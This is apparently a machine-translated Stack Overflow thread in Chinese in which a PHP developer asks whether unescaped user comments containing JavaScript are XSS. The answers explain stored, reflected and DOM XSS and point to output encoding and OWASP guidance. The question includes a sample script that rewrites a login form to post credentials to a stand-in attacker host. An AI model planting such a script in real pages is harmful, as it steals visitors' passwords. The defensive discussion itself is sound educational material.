是用户输入的带有Javascript的HTML显示给其他人,而不是HTML转义的XSS示例


Is user input of HTML with Javascript that is displayed to others but not HTML-escaped an example of a XSS

我是一名PHP开发人员,我希望提高我的网站的安全性。

据我所知,以下是影响web应用程序的两种主要类型的漏洞:

  • SQL注入
  • XSS

SQL注入可以通过准备好的语句来修复-很容易。

但我仍然没有真正理解XSS——下面的例子是XSS吗?。。。

  • 充满用户制作内容的页面顶部有一个登录表单(整个网站)
  • 用户对页面的输入不是HTML转义的
  • 用户在页面上发布以下内容(例如评论)
A really nice comment
<!-- now an evil script (example here with jquery, but easily done without) --->
<script type="text/javascript">
$(document).ready(function() {
    $('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php');
});
</script>
  • 一个无辜的用户来到页面,脚本执行
  • 无辜的用户意识到他们没有登录,并在表单中输入他们的详细信息
  • 用户的详细信息被发送到http://somehackysite.com/givemyourpw.php,然后用户的帐户详细信息被窃取

所以我真的有三个问题:

  1. 这行得通吗
  2. 这是XSS吗
  3. 除了转义HTML之外,开发人员应该对XSS采取什么预防措施吗

XSS攻击有两种类型:反射XSS攻击和持久XSS攻击。您所描述的,站点的用户输入的数据保存在服务器端,并为任何查看页面的人呈现,被认为是持久XSS。如果你在一篇无法逃离Javascript的帖子上有一个评论框,或者一个我可以放入任何内容的个人资料页面,也会受到类似的攻击。

另一类XSS攻击是反射XSS。这些有点复杂,但它们相当于URL中的一个参数,表示页面没有被转义。它们经常出现在大型网站的搜索页面上。你会得到一个包含一些javascript的URL(对不起,我的例子被这里的渲染器破坏了,所以我不能给你看一个例子),页面会渲染javascript,这会让人伪造恶意URL。在提供任何类型的财务数据的网站上,这些都是特别危险的;想象一下,一个尽职尽责的用户总是检查以确保他们要访问银行的写入链接,但由于反射XSS攻击,攻击者能够将其发送到银行网站上的合法页面,但其中包含恶意代码。

在任何情况下,您的示例都是Persistent XSS。你可以用这样的攻击做更邪恶的事情,而不仅仅是改变登录表单发送给用户的位置。多年来,它们一直很流行,比如从网站的个人区域抓取信息,或者与CSRF结合,让经过身份验证的用户只需查看页面就可以做一些事情。不久前,有一些MySpace病毒造成了这种情况,并在个人资料之间传播。

这是XSS吗?

是的,这通常是一个注入缺陷,在这种特殊情况下会被称为XSS漏洞,因为它是被注入的JavaScript。

但这种注入缺陷,即一个用户的输入在没有任何更改的情况下反映给其他用户,也可能导致其他攻击,如污损。

这行得通吗?

是的,这很可能会起作用,因为它是原始服务器,就像网页中的任何其他代码一样,提供被剪切的代码。因此,就好像网站的作者是这段代码的创建者,并将受到同样的对待。

除了转义HTML之外,开发人员应该对XSS采取什么预防措施吗?

实际上有三种不同类型的XSS:基于DOM的XSS、反射XSS和存储/持久XSS)。您的示例是一个存储/持久XSS漏洞,因为服务器在每个请求中都部署了该漏洞。

一般规则是不信任任何用户输入。也就是说,要么只允许有效的用户输入,要么在输出之前对用户输入进行过滤(删除无效值)或正确编码(转换无效值)。有关更多信息,请参阅OWASP的XSS备忘单。

这是xss,我相信这也是javascript注入
所以我认为这个链接将帮助

是的,这是一个基本持久XSS攻击的例子。在这种情况下,用户不仅可能窃取凭据,还可能试图通过您的网站感染访问者或垃圾邮件链接。

OWASP XSS预防指南是一个良好的开端。https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet